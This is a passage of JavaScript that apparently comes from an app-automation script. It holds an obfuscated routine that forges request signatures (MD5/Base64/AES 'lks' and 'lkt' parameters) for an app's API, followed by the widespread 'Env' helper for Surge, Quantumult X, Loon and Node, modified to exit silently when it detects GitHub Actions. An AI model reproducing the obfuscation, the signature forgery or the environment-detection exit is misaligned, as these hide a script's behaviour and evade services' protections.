_0x1226x9[_0x1226x2]})[__Oxb227b[0x1a]](__Oxb227b[0x19]);return _0x1226x2[__Oxb227b[0x1d]](__Oxb227b[0x1c])>= 0?_0x1226x2+ __Oxb227b[0x19]+ _0x1226xb:_0x1226x2+ __Oxb227b[0x1c]+ _0x1226xb};return _0x1226x2};const _0x1226x15=function _0x1226x16(_0x1226x2){for(var _0x1226x9=_0x1226x6,_0x1226xb=0;_0x1226xb< _0x1226x9[__Oxb227b[0x12]];_0x1226xb++){var _0x1226x3=_0x1226x9[_0x1226xb];_0x1226x2[__Oxb227b[0x18]](_0x1226x3)&& !_0x1226x2[__Oxb227b[0x18]](__Oxb227b[0x1e]+ _0x1226x3)&& (_0x1226x2= _0x1226x2[__Oxb227b[0x1f]](_0x1226x3,__Oxb227b[0x1e]+ _0x1226x3))};return _0x1226x2};var _0x1226x9=_0x1226x2,_0x1226xb=(_0x1226x9[__Oxb227b[0x20]],_0x1226x9[__Oxb227b[0x21]]);_0x1226xb+= (_0x1226xb[__Oxb227b[0x1d]](__Oxb227b[0x1c])> -1?__Oxb227b[0x19]:__Oxb227b[0x1c])+ __Oxb227b[0x22];var _0x1226x17=function _0x1226x18(_0x1226x2){var _0x1226x9=_0x1226x2[__Oxb227b[0x21]],_0x1226xb=_0x1226x2[__Oxb227b[0x24]],_0x1226x3=void(0)=== _0x1226xb?__Oxb227b[0x25]:_0x1226xb,_0x1226x4=_0x1226x2[__Oxb227b[0x26]],_0x1226x6=_0x1226x2[__Oxb227b[0x20]],_0x1226x19=void(0)=== _0x1226x6?{}:_0x1226x6,_0x1226x1a=_0x1226x3[__Oxb227b[0x27]](),_0x1226x1b=_0x1226x7[__Oxb227b[0x28]],_0x1226x1c=_0x1226x19[__Oxb227b[0x29]]|| _0x1226x19[__Oxb227b[0x2a]]|| __Oxb227b[0x2b],_0x1226x1d=__Oxb227b[0x2b],_0x1226x1e=+ new Date();return _0x1226x1d= __Oxb227b[0x2c]!== _0x1226x1a&& (__Oxb227b[0x2d]!== _0x1226x1a|| __Oxb227b[0x2e]!== _0x1226x1c[__Oxb227b[0x27]]()&& _0x1226x4&& Object[__Oxb227b[0x15]](_0x1226x4)[__Oxb227b[0x12]])?_0x1226x7.Md5encode(_0x1226x7.Base64Encode(_0x1226x7.AesEncrypt(__Oxb227b[0x2b]+ JSON[__Oxb227b[0xf]](_0x1226xf(_0x1226x4))))+ __Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e):_0x1226x7.Md5encode(__Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e),_0x1226x11(_0x1226x9)&& (_0x1226x9= _0x1226x13(_0x1226x9,{"\x6C\x6B\x73":_0x1226x1d,"\x6C\x6B\x74":_0x1226x1e}),_0x1226x9= _0x1226x15(_0x1226x9)),Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226x9})}(_0x1226x2= Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226xb}));return _0x1226x17}(function(_0x1226x1f,_0x1226xf,_0x1226x20,_0x1226x21,_0x1226x1c,_0x1226x22){_0x1226x22= __Oxb227b[0x30];_0x1226x21= function(_0x1226x19){if( typeof alert!== _0x1226x22){alert(_0x1226x19)};if( typeof console!== _0x1226x22){console[__Oxb227b[0x31]](_0x1226x19)}};_0x1226x20= function(_0x1226x3,_0x1226x1f){return _0x1226x3+ _0x1226x1f};_0x1226x1c= _0x1226x20(__Oxb227b[0x32],_0x1226x20(_0x1226x20(__Oxb227b[0x33],__Oxb227b[0x34]),__Oxb227b[0x35]));try{_0x1226x1f= __encode;if(!( typeof _0x1226x1f!== _0x1226x22&& _0x1226x1f=== _0x1226x20(__Oxb227b[0x36],__Oxb227b[0x37]))){_0x1226x21(_0x1226x1c)}}catch(e){_0x1226x21(_0x1226x1c)}})({})
|
||
function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
|